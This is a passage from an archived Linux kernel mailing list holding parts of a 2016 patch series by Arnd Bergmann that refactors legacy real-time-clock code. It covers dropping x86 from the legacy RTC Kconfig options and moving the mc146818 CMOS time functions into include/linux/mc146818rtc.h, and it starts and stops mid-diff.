+#define set_rtc_time powerpc_set_rtc_time
+#include <asm-generic/rtc.h>
 
 #include <asm/machdep.h>
 #include <asm/time.h>
 
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_time(struct rtc_time *time)
+static inline unsigned int powerpc_get_rtc_time(struct rtc_time *time)
 {
 	if (ppc_md.get_rtc_time)
 		ppc_md.get_rtc_time(time);
@@ -50,29 +41,12 @@ static inline unsigned int get_rtc_time(struct rtc_time *time)
 }
 
 /* Set the current date and time in the real time clock. */
-static inline int set_rtc_time(struct rtc_time *time)
+static inline int powerpc_set_rtc_time(struct rtc_time *time)
 {
 	if (ppc_md.set_rtc_time)
 		return ppc_md.set_rtc_time(time);
 	return -EINVAL;
 }
 
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
 #endif /* __KERNEL__ */
 #endif /* __ASM_POWERPC_RTC_H__ */
-- 
2.7.0


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 2/8] char/rtc: legacy RTC is no longer supported on x86
Date: Tue, 26 Apr 2016 23:44:06 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <1461707052-1337718-3-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707467 22005 80.91.229.3 (26 Apr 2016 21:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:51:07 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 26 23:50:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avAsi-0003wl-0F
	for glpp-linux-parisc@plane.gmane.org; Tue, 26 Apr 2016 23:50:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752210AbcDZVuz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Apr 2016 17:50:55 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.131]:56384 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751885AbcDZVuy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Apr 2016 17:50:54 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0LsdiP-1bs3s60QAL-012L89; Tue, 26 Apr
 2016 23:44:47 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:W8F9esVdeIF1tOhyAyY1IynX5Oylm8GTYkBRdek421DT/3KBrRH
 ytwhF0EdGoc3ux0RV8bU5yCgQPY02J3pkTcWjHzND4H2oFA1uTmSUOB5MSKG09i1XHNVTQ7
 p3QYzd0SSMy5KY+jEs1KWcRUnhy/fK1ku+WgcPtY+maBiz25Hw2v3oDx21Ylv1/frYHyc1f
 /OwJEeS5MGRlqA0vAO8zQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dUEq+emSVGM=:7iuQNhyv3UCN0NBS8kUcaJ
 pauL7qTO8wSExMFEtXvm1CvS4M09QK7niczCG7NsTG2sKvSIHO1nwHu6FEbSbUTy2ohxuhZiM
 sxqNwzooPz1uQ2UMnoRo4Pylbr92j1Bi56r3yvWCy8fiqcXUcR/hmfPgY7kA49IATJWMsyzVI
 9YzbPwV76WRGC8PrzDpDZtujCfyMeWtu0KAwER7AhZxjVdtqMup/Lpbfd4IpgdUzjWdzZDJ+1
 aDZayRTdP3g4ZGZzKPOJ32UA/F5hs+chkH8PXjBHKzbQmR7/AYICqh8XBZSflrE5BA4tj8+Bj
 qT2fXDy3JgLTNg7K995K+O7hsA6FOJyeB+nmS4fiWhCcRwsvhhEt+vnUF3jmdMbIyQ00mUBCJ
 Zr4b3iEXRmpNosKNvag0ar3CUcTCFBiB6JTWEZ7aPsIm7TjRonFQ4o5mDrPFPc4aWWCb6Nyz4
 o4bGwG/IiDJVXpH1o7QtwuFmBzzyVZvJi3uUgBKU54oGcfDmwup/XDw+GHuQPrqybC+CMhA4L
 /xMnW7jnpIPeHtEbZ27B/xFq9KAwoC/TVyDqgfB5LfBn9L89k6K9Xr02DdTYRovTdhcxZiXki
 0McJqZvjTuM6VGvW2ng87uKgrhe0mSZ2ux9AeuNgU9emsMy290YgnExiGCYu9n1b1osm/6wth
 TkD4N99eZfwFblLiKcdlL/hCHi9zc0DFHPz0x5hVP7nAx851sE2D8oLsfiMmYBeK7aeA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26670 gmane.linux.ports.alpha:3645 gmane.linux.kernel:2208424 gmane.linux.ports.ia64:26657 gmane.linux.ports.ppc64.devel:126429 gmane.linux.ports.sh.devel:53826 gmane.linux.kernel.cross-arch:31699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26670>

Commit 3195ef59cb42 ("x86: Do full rtc synchronization with ntp") had
the side-effect of unconditionally enabling the RTC_LIB symbol on x86,
which in turn disables the selection of the CONFIG_RTC and
CONFIG_GEN_RTC drivers that contain a two older implementations of
the CONFIG_RTC_DRV_CMOS driver.

This removes x86 from the list.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/char/Kconfig | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 66b5d48f409a..9bdb629fbaae 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -279,7 +279,7 @@ if RTC_LIB=n
 
 config RTC
 	tristate "Enhanced Real Time Clock Support (legacy PC RTC driver)"
-	depends on ALPHA || (MIPS && MACH_LOONGSON64) || MN10300 || X86
+	depends on ALPHA || (MIPS && MACH_LOONGSON64) || MN10300
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on ALPHA || M68K || MN10300 || PARISC || PPC || X86
+	depends on ALPHA || M68K || MN10300 || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 4/8] char/rtc: move mc146818rtc code out of asm-generic/rtc.h
Date: Tue, 26 Apr 2016 23:44:08 +0200
Lines: 517
Approved: news@gmane.org
Message-ID: <1461707052-1337718-5-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707485 22207 80.91.229.3 (26 Apr 2016 21:51:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:51:25 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Apr 26 23:51:16 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1avAsy-0004ww-Vt
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 26 Apr 2016 23:51:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752696AbcDZVvL (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 26 Apr 2016 17:51:11 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.135]:62709 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752194AbcDZVuz (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 26 Apr 2016 17:50:55 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0LdZnq-1bcS262R5G-00ije2; Tue, 26 Apr
 2016 23:44:49 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:jxYZATcyQCFH4rnu8sLVFuZjEusihm3g+pHzUVpLxbEJY+pXQNJ
 0rIxzoe4l4PEjhPIN5nQt9Yi5pf31oBgKfJOSqQq0d8BuAEzjBRwLZpto7Jv1hVHcQigI+Z
 N+0zI3+48yEzI312BLhtD5xLdzLLGMlmk1WCe4cLsFK9qA/0r2F/lyNLTqvdEbLrm1sB2FT
 35pwGmOKuXkvLpgekWxsA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/FuoRszp2Vo=:F/Oao36MkuBKS53XCJi8eh
 A8GU+uXlBE16xPL5f7BK6Edph46SLxRpfuzMXGwpBTSD04eoAa6bdSAgFRj8QgXuz5LaOlOzg
 YVgjsfydAvz/nFdpG8SOxX+RObJJ3pAG6zAKnpWEfmHqSxY4lJga8BjQ5uyAx+RH9KvLtcyxp
 oXGWE71bvKjcQYtemGleBPW3RqFZxW0M5C4zw2b6af/CTJi3pTwTALZHoJFdI33x8Xe8jIidT
 7FIfaa1pl2rLhsoIueCrVMzRbkCePsJ5420XwdM2GkeaMVD7wpZk0MQhmOYGBcWYkIPg9iCU5
 VKXqZxhwrbXIKUqSZCjeYJ2S4TL9TbnL7nWGxJO82yimEORCL1Almrxxz1iQPDbCn+wSGUPUC
 q8qyGVf5nLLrvIOyEelMQv3xIeHPbl0AeWYEOJeDnMNe58r9mO19MifJ88+CHmAULriuaUQRg
 qQ6pDIn+fmNIpJ6ScO6Hy8sVQ79c8uhDGhxctPnuBVX7t8gZa7+0oXq8lMHU1SA1cmJazoBRP
 KsqdpLfTYJy9KpR/DHilAHQY8QfZUPKbsJh3fMo700WN5nWchhBSuuAHb+MT/vTFzBP81ki8J
 94V4a4DFqLVbyt4JEV2kCcAz7E/4V8TFhYx0/f5awLDkPM2MlrIZLuk/SoUu921xapnj0ZRRi
 +2jLMctBIF8mCiwga0KPhF1lVyH1RglF7rO+HYYyV/V18SCnf6kijywQz0wU1VcBC1fY=
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26658 gmane.linux.ports.alpha:3646 gmane.linux.kernel:2208425 gmane.linux.ports.parisc:26671 gmane.linux.ports.ppc64.devel:126430 gmane.linux.ports.sh.devel:53827 gmane.linux.kernel.cross-arch:31700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26658>

Drivers should not really include stuff from asm-generic directly,
and the PC-style cmos rtc driver does this in order to reuse the
mc146818 implementation of get_rtc_time/set_rtc_time rather than
the architecture specific one for the architecture it gets built for.

To make it more obvious what is going on, this moves and renames the
two functions into include/linux/mc146818rtc.h, which holds the
other mc146818 specific code. Ideally it would be in a .c file,
but that would require extra infrastructure as the functions are
called by multiple drivers with conflicting dependencies.

With this change, the asm-generic/rtc.h header also becomes much
more generic, so it can be reused more easily across any architecture
that still relies on the genrtc driver.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/rtc/rtc-cmos.c      |  12 +--
 include/asm-generic/rtc.h   | 206 ++------------------------------------------
 include/linux/mc146818rtc.h | 194 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 205 insertions(+), 207 deletions(-)

diff --git a/drivers/rtc/rtc-cmos.c b/drivers/rtc/rtc-cmos.c
index 84fb541038be..c7993f18edfa 100644
--- a/drivers/rtc/rtc-cmos.c
+++ b/drivers/rtc/rtc-cmos.c
@@ -43,7 +43,7 @@
 #include <linux/of_platform.h>
 
 /* this is for "generic access to PC-style RTC" using CMOS_READ/CMOS_WRITE */
-#include <asm-generic/rtc.h>
+#include <linux/mc146818rtc.h>
 
 struct cmos_rtc {
 	struct rtc_device	*rtc;
@@ -190,10 +190,10 @@ static inline void cmos_write_bank2(unsigned char val, unsigned char addr)
 static int cmos_read_time(struct device *dev, struct rtc_time *t)
 {
 	/* REVISIT:  if the clock has a "century" register, use
-	 * that instead of the heuristic in get_rtc_time().
+	 * that instead of the heuristic in mc146818_get_time().
 	 * That'll make Y3K compatility (year > 2070) easy!
 	 */
-	get_rtc_time(t);
+	mc146818_get_time(t);
 	return 0;
 }
 
@@ -205,7 +205,7 @@ static int cmos_set_time(struct device *dev, struct rtc_time *t)
 	 * takes effect exactly 500ms after we write the register.
 	 * (Also queueing and other delays before we get this far.)
 	 */
-	return set_rtc_time(t);
+	return mc146818_set_time(t);
 }
 
 static int cmos_read_alarm(struct device *dev, struct rtc_wkalrm *t)
@@ -1142,14 +1142,14 @@ static __init void cmos_of_init(struct platform_device *pdev)
 	if (val)
 		CMOS_WRITE(be32_to_cpup(val), RTC_FREQ_SELECT);
 
-	get_rtc_time(&time);
+	cmos_read_time(&pdev->dev, &time);
 	ret = rtc_valid_tm(&time);
 	if (ret) {
 		struct rtc_time def_time = {
 			.tm_year = 1,
 			.tm_mday = 1,
 		};
-		set_rtc_time(&def_time);
+		cmos_set_time(&pdev->dev, &def_time);
 	}
 }
 #else
diff --git a/include/asm-generic/rtc.h b/include/asm-generic/rtc.h
index 4e3b6558331e..4fcff22cd707 100644
--- a/include/asm-generic/rtc.h
+++ b/include/asm-generic/rtc.h
@@ -12,12 +12,12 @@
 #ifndef __ASM_RTC_H__
 #define __ASM_RTC_H__
 
-#include <linux/mc146818rtc.h>
 #include <linux/rtc.h>
-#include <linux/bcd.h>
-#include <linux/delay.h>
-#ifdef CONFIG_ACPI
-#include <linux/acpi.h>
+
+#ifndef get_rtc_time
+#include <linux/mc146818rtc.h>
+#define get_rtc_time mc146818_get_time
+#define set_rtc_time mc146818_set_time
 #endif
 
 #define RTC_PIE 0x40		/* periodic interrupt enable */
@@ -31,202 +31,6 @@
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
-/*
- * Returns true if a clock update is in progress
- */
-static inline unsigned char rtc_is_updating(void)
-{
-	unsigned char uip;
-	unsigned long flags;
-
-	spin_lock_irqsave(&rtc_lock, flags);
-	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
-	spin_unlock_irqrestore(&rtc_lock, flags);
-	return uip;
-}
-
-static inline unsigned int __get_rtc_time(struct rtc_time *time)
-{
-	unsigned char ctrl;
-	unsigned long flags;
-	unsigned char century = 0;
-
-#ifdef CONFIG_MACH_DECSTATION
-	unsigned int real_year;
-#endif
-
-	/*
-	 * read RTC once any update in progress is done. The update
-	 * can take just over 2ms. We wait 20ms. There is no need to
-	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
-	 * If you need to know *exactly* when a second has started, enable
-	 * periodic update complete interrupts, (via ioctl) and then 
-	 * immediately read /dev/rtc which will block until you get the IRQ.
-	 * Once the read clears, read the RTC time (again via ioctl). Easy.
-	 */
-	if (rtc_is_updating())
-		mdelay(20);
-
-	/*
-	 * Only the values that we read from the RTC are set. We leave
-	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
-	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
-	 * by the RTC when initially set to a non-zero value.
-	 */
-	spin_lock_irqsave(&rtc_lock, flags);
-	time->tm_sec = CMOS_READ(RTC_SECONDS);
-	time->tm_min = CMOS_READ(RTC_MINUTES);
-	time->tm_hour = CMOS_READ(RTC_HOURS);
-	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
-	time->tm_mon = CMOS_READ(RTC_MONTH);
-	time->tm_year = CMOS_READ(RTC_YEAR);
-#ifdef CONFIG_MACH_DECSTATION
-	real_year = CMOS_READ(RTC_DEC_YEAR);
-#endif
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century)
-		century = CMOS_READ(acpi_gbl_FADT.century);
-#endif
-	ctrl = CMOS_READ(RTC_CONTROL);
-	spin_unlock_irqrestore(&rtc_lock, flags);
-
-	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
-	{
-		time->tm_sec = bcd2bin(time->tm_sec);
-		time->tm_min = bcd2bin(time->tm_min);
-		time->tm_hour = bcd2bin(time->tm_hour);
-		time->tm_mday = bcd2bin(time->tm_mday);
-		time->tm_mon = bcd2bin(time->tm_mon);
-		time->tm_year = bcd2bin(time->tm_year);
-		century = bcd2bin(century);
-	}
-
-#ifdef CONFIG_MACH_DECSTATION
-	time->tm_year += real_year - 72;
-#endif
-
-	if (century)
-		time->tm_year += (century - 19) * 100;
-
-	/*
-	 * Account for differences between how the RTC uses the values
-	 * and how they are defined in a struct rtc_time;
-	 */
-	if (time->tm_year <= 69)
-		time->tm_year += 100;
-
-	time->tm_mon--;
-
-	return RTC_24H;
-}
-
-#ifndef get_rtc_time
-#define get_rtc_time	__get_rtc_time
-#endif
-
-/* Set the current date and time in the real time clock. */
-static inline int __set_rtc_time(struct rtc_time *time)
-{
-	unsigned long flags;
-	unsigned char mon, day, hrs, min, sec;
-	unsigned char save_control, save_freq_select;
-	unsigned int yrs;
-#ifdef CONFIG_MACH_DECSTATION
-	unsigned int real_yrs, leap_yr;
-#endif
-	unsigned char century = 0;
-
-	yrs = time->tm_year;
-	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
-	day = time->tm_mday;
-	hrs = time->tm_hour;
-	min = time->tm_min;
-	sec = time->tm_sec;
-
-	if (yrs > 255)	/* They are unsigned */
-		return -EINVAL;
-
-	spin_lock_irqsave(&rtc_lock, flags);
-#ifdef CONFIG_MACH_DECSTATION
-	real_yrs = yrs;
-	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
-			!((yrs + 1900) % 400));
-	yrs = 72;
-
-	/*
-	 * We want to keep the year set to 73 until March
-	 * for non-leap years, so that Feb, 29th is handled
-	 * correctly.
-	 */
-	if (!leap_yr && mon < 3) {
-		real_yrs--;
-		yrs = 73;
-	}
-#endif
-
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century) {
-		century = (yrs + 1900) / 100;
-		yrs %= 100;
-	}
-#endif
-
-	/* These limits and adjustments are independent of
-	 * whether the chip is in binary mode or not.
-	 */
-	if (yrs > 169) {
-		spin_unlock_irqrestore(&rtc_lock, flags);
-		return -EINVAL;
-	}
-
-	if (yrs >= 100)
-		yrs -= 100;
-
-	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
-	    || RTC_ALWAYS_BCD) {
-		sec = bin2bcd(sec);
-		min = bin2bcd(min);
-		hrs = bin2bcd(hrs);
-		day = bin2bcd(day);
-		mon = bin2bcd(mon);
-		yrs = bin2bcd(yrs);
-		century = bin2bcd(century);
-	}
-
-	save_control = CMOS_READ(RTC_CONTROL);
-	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
-	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
-	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
-
-#ifdef CONFIG_MACH_DECSTATION
-	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
-#endif
-	CMOS_WRITE(yrs, RTC_YEAR);
-	CMOS_WRITE(mon, RTC_MONTH);
-	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
-	CMOS_WRITE(hrs, RTC_HOURS);
-	CMOS_WRITE(min, RTC_MINUTES);
-	CMOS_WRITE(sec, RTC_SECONDS);
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century)
-		CMOS_WRITE(century, acpi_gbl_FADT.century);
-#endif
-
-	CMOS_WRITE(save_control, RTC_CONTROL);
-	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
-
-	spin_unlock_irqrestore(&rtc_lock, flags);
-
-	return 0;
-}
-
-#ifndef set_rtc_time
-#define set_rtc_time	__set_rtc_time
-#endif
-
 static inline unsigned int get_rtc_ss(void)
 {
 	struct rtc_time h;
diff --git a/include/linux/mc146818rtc.h b/include/linux/mc146818rtc.h
index 433e0c74d643..e9e346b37846 100644
--- a/include/linux/mc146818rtc.h
+++ b/include/linux/mc146818rtc.h
@@ -14,6 +14,12 @@
 #include <asm/io.h>
 #include <linux/rtc.h>			/* get the user-level API */
 #include <asm/mc146818rtc.h>		/* register access macros */
+#include <linux/bcd.h>
+#include <linux/delay.h>
+
+#ifdef CONFIG_ACPI
+#include <linux/acpi.h>
+#endif
 
 #ifdef __KERNEL__
 #include <linux/spinlock.h>		/* spinlock_t */
@@ -120,4 +126,192 @@ struct cmos_rtc_board_info {
 #define RTC_IO_EXTENT_USED      RTC_IO_EXTENT
 #endif /* ARCH_RTC_LOCATION */
 
+/*
+ * Returns true if a clock update is in progress
+ */
+static inline unsigned char mc146818_is_updating(void)
+{
+	unsigned char uip;
+	unsigned long flags;
+
+	spin_lock_irqsave(&rtc_lock, flags);
+	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
+	spin_unlock_irqrestore(&rtc_lock, flags);
+	return uip;
+}
+
+static inline unsigned int mc146818_get_time(struct rtc_time *time)
+{
+	unsigned char ctrl;
+	unsigned long flags;
+	unsigned char century = 0;
+
+#ifdef CONFIG_MACH_DECSTATION
+	unsigned int real_year;
+#endif
+
+	/*
+	 * read RTC once any update in progress is done. The update
+	 * can take just over 2ms. We wait 20ms. There is no need to
+	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
+	 * If you need to know *exactly* when a second has started, enable
+	 * periodic update complete interrupts, (via ioctl) and then 
+	 * immediately read /dev/rtc which will block until you get the IRQ.
+	 * Once the read clears, read the RTC time (again via ioctl). Easy.
+	 */
+	if (mc146818_is_updating())
+		mdelay(20);
+
+	/*
+	 * Only the values that we read from the RTC are set. We leave
+	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
+	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
+	 * by the RTC when initially set to a non-zero value.
+	 */
+	spin_lock_irqsave(&rtc_lock, flags);
+	time->tm_sec = CMOS_READ(RTC_SECONDS);
+	time->tm_min = CMOS_READ(RTC_MINUTES);
+	time->tm_hour = CMOS_READ(RTC_HOURS);
+	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
+	time->tm_mon = CMOS_READ(RTC_MONTH);
+	time->tm_year = CMOS_READ(RTC_YEAR);
+#ifdef CONFIG_MACH_DECSTATION
+	real_year = CMOS_READ(RTC_DEC_YEAR);
+#endif
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century)
+		century = CMOS_READ(acpi_gbl_FADT.century);
+#endif
+	ctrl = CMOS_READ(RTC_CONTROL);
+	spin_unlock_irqrestore(&rtc_lock, flags);
+
+	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
+	{
+		time->tm_sec = bcd2bin(time->tm_sec);
+		time->tm_min = bcd2bin(time->tm_min);
+		time->tm_hour = bcd2bin(time->tm_hour);
+		time->tm_mday = bcd2bin(time->tm_mday);
+		time->tm_mon = bcd2bin(time->tm_mon);
+		time->tm_year = bcd2bin(time->tm_year);
+		century = bcd2bin(century);
+	}
+
+#ifdef CONFIG_MACH_DECSTATION
+	time->tm_year += real_year - 72;
+#endif
+
+	if (century)
+		time->tm_year += (century - 19) * 100;
+
+	/*
+	 * Account for differences between how the RTC uses the values
+	 * and how they are defined in a struct rtc_time;
+	 */
+	if (time->tm_year <= 69)
+		time->tm_year += 100;
+
+	time->tm_mon--;
+
+	return RTC_24H;
+}
+
+/* Set the current date and time in the real time clock. */
+static inline int mc146818_set_time(struct rtc_time *time)
+{
+	unsigned long flags;
+	unsigned char mon, day, hrs, min, sec;
+	unsigned char save_control, save_freq_select;
+	unsigned int yrs;
+#ifdef CONFIG_MACH_DECSTATION
+	unsigned int real_yrs, leap_yr;
+#endif
+	unsigned char century = 0;
+
+	yrs = time->tm_year;
+	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
+	day = time->tm_mday;
+	hrs = time->tm_hour;
+	min = time->tm_min;
+	sec = time->tm_sec;
+
+	if (yrs > 255)	/* They are unsigned */
+		return -EINVAL;
+
+	spin_lock_irqsave(&rtc_lock, flags);
+#ifdef CONFIG_MACH_DECSTATION
+	real_yrs = yrs;
+	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
+			!((yrs + 1900) % 400));
+	yrs = 72;
+
+	/*
+	 * We want to keep the year set to 73 until March
+	 * for non-leap years, so that Feb, 29th is handled
+	 * correctly.
+	 */
+	if (!leap_yr && mon < 3) {
+		real_yrs--;
+		yrs = 73;
+	}
+#endif
+
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century) {
+		century = (yrs + 1900) / 100;
+		yrs %= 100;
+	}
+#endif
+
+	/* These limits and adjustments are independent of
+	 * whether the chip is in binary mode or not.
+	 */
+	if (yrs > 169) {
+		spin_unlock_irqrestore(&rtc_lock, flags);
+		return -EINVAL;
+	}
+
+	if (yrs >= 100)
+		yrs -= 100;
+
+	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
+	    || RTC_ALWAYS_BCD) {
+		sec = bin2bcd(sec);
+		min = bin2bcd(min);
+		hrs = bin2bcd(hrs);
+		day = bin2bcd(day);
+		mon = bin2bcd(mon);
+		yrs = bin2bcd(yrs);
+		century = bin2bcd(century);
+	}
+
+	save_control = CMOS_READ(RTC_CONTROL);
+	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
+	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
